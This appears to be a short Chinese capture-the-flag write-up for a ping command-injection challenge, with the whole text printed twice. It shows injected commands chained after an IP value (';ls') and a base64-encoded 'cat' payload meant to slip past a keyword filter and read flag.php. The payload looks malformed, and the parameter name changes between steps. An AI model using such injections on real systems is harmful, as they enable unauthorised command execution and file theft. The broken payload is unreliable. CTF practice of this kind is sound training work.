打开环境
看到ping -c 3,属于命令注入
尝试传递ip=127.0.0.1;ls
得到
显然if里面的内容过滤掉了flag,而我们需要读取flag.php内的内容
使用通配符
Base64编码绕过
?id=1;cat echo 'Li9mbGFnLnBocAo=' | base64 -d
:
用cat读取flag
f12查看
打开环境
看到ping -c 3,属于命令注入
尝试传递ip=127.0.0.1;ls
得到
显然if里面的内容过滤掉了flag,而我们需要读取flag.php内的内容
使用通配符
Base64编码绕过
?id=1;cat echo 'Li9mbGFnLnBocAo=' | base64 -d
:
用cat读取flag
f12查看